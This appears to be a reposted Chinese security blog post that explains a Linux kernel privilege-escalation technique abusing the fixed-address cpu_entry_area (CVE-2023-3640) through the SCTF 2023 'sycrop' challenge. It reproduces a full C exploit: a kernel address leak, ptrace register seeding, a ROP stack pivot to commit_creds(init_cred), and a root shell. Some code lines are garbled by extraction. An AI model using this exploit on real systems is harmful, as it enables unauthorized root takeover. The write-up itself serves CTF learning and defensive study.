基于cpu_entry_area利用的Linux内核权限提升

admin 2024年4月18日21:49:30评论8 views字数 5223阅读17分24秒阅读模式

当存在一个内核地址泄露和一个内核栈迁移,应该如何完成内核提权?

cpu_entry_area概要

根据NVD漏洞 CVE-2023-3640 详情信息 [1] 可知,此漏洞可以通过利用 cpu_entry_area 的固定地址,泄露内核地址,从而绕过KASLR,攻击者可能通过此漏洞提升权限。CVE-2023-3640漏洞基于CVE-2023-0597。

cpu_entry_area 是一个内核数据结构,包含了允许 CPU 将控制权交给内核所需的所有数据和代码。在低于6.2的内核版本中,它位于每个 CPU 的固定地址,以便在进入内核时快速访问。可以在Linux内核源码的Documentation/x86/x86_64/mm.rst 文件中找到:

 

基于cpu_entry_area利用的Linux内核权限提升

当访问此固定内存地址时(由于对齐原因,这里进行访问时对地址加了四字节),可以发现其中存储了部分内核text段地址:

基于cpu_entry_area利用的Linux内核权限提升
当泄露此处的内容后,可得到内核text段地址,通过计算偏移可得到内核基地址,从而绕过KASLR。cpu_entry_area除了可以用于泄露内核地址,还可以用于构造ROP。
cpu_entry_area ROP利用

 

以一道CTF题目来学习该利用手法,题目来自2023年SCTF 中的sycrop [2]。

基于cpu_entry_area利用的Linux内核权限提升

从IDA中分析,该内核模块实现的ioctl有两个功能,0x6666和0x5555。0x6666在伪代码中看得不是很清晰,实际上汇编代码如下:

基于cpu_entry_area利用的Linux内核权限提升

 

分析以上汇编代码和伪代码片段可知,0x6666可以实现一次栈迁移,而0x5555可以实现任一地址的数据泄露。那么就考虑先利用cpu_entry_area泄露内核地址,然后计算得到commit_creds与init_cred的地址,最后将内核栈迁移到某处,构造一次ROP链来完成提权,最后返回用户态起shell。现在唯一的问题是应该将栈迁移到何处?

实际上,当一个进程使用ptrace PTRACE_POKEUSER 修改另一个进程的用户数据时,内核会通过 cpu_entry_area 来访问和更新被跟踪进程的用户数据。这样可以保证被跟踪进程在恢复执行时,使用正确的用户数据。可以理解为与pt_regs相同的功能,在恢复时会从cpu_entry_area中特定的位置逐个恢复寄存器的值,而在6.2内核版本之前cpu_entry_area位置是固定的,这样就有了可乘之机。

在布置cpu_entry_area中的数据时,要按照恢复寄存器的顺序,可参考以下模版:

__asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );

init_cred是内核中一个默认root权限的cred,所以可以直接用commit_cred提交,那么进程就拥有了root权限。本题目作者提供的完整的脚本如下,非常值得学习:

#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

voidmap;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("�33[34m�33[1m[*] Status has been saved.�33[0mn");
}

void teardown()
{
kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %mn");
teardown();
exit(1);
}

if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 560xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %mn");
teardown();
exit(1);
}
}

void hbp_raw_fire()
{
if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
{
printf("Failed to PTRACE_CONT: %mn");
teardown();
exit(1);
}
}
void getRootShell(void)
{
if(getuid()) {
printf("�33[31m�33[1m[x] Failed to get the root!�33[0mn");
exit(-1);
}

puts("�33[32m�33[1m[+] Successful to get the root. "
"Execve root shell now...�33[0m");
system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
cpu_set_t mask;
map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
switch(hbp_pid = fork())
{
case 0//child
//pin cpu

CPU_ZERO(&mask);
CPU_SET(cpu,&mask);
sched_setaffinity(0,sizeof(mask),&mask);
ptrace(PTRACE_TRACEME,0,NULL,NULL);
raise(SIGSTOP);
__asm__(
"mov r15,   0xbeefdead;"
"mov r14,   pop_rdi;"
"mov r13,   init_cred;" // start at there
"mov r12,   commit_cred;"
"mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
"mov rbx,   0x77777777;"
"mov r11,   0x77777777;"
"mov r10,   getshelladdr;"
"mov r9,    user_cs;"
"mov r8,    user_rflags;"
"mov rax,   user_sp;"
"mov rcx,   user_ss;"
"mov rdx,   0xcccccccc;"
"mov rsi,   0xa000000;"
"mov rdi,   [rsi];"
);
exit(1);
case -1:
printf("fork: %mn");
exit(1);
default//parent. Just exit switch
break;
}
int status;
//Watch for stop:
puts("Waiting for child");
while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
{
sched_yield();
}
puts("Setting breakpoint");
create_hbp(map);
}

int main()
{
saveStatus();
int fd = open("/dev/seven", O_RDWR);
if(fd < 0) perror("Error open");
unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
printf("0x%llxn",addr-0x1008e00);
kernel_base = addr-0x1008e00;
init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
init(1);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
ioctl(fd,0x6666,0xfffffe0000010f60);
}


总的来说,这个利用方式打开了一个大门,首次利用出现是在Google CTF中,后续也有几次出现在国际赛事中,最近一次是在2024年的RWCTF的RIPTC题目,也使用了此利用手法作为提权手段。

References

 

 

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-3640
[2] https://github.com/pray77/CVE-2023-3640?tab=readme-ov-file

 

 

原文始发于微信公众号(山石网科安全技术研究院):基于cpu_entry_area利用的Linux内核权限提升

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月18日21:49:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于cpu_entry_area利用的Linux内核权限提升http://cn-sec.com/archives/2669715.html

发表评论

匿名网友 填写信息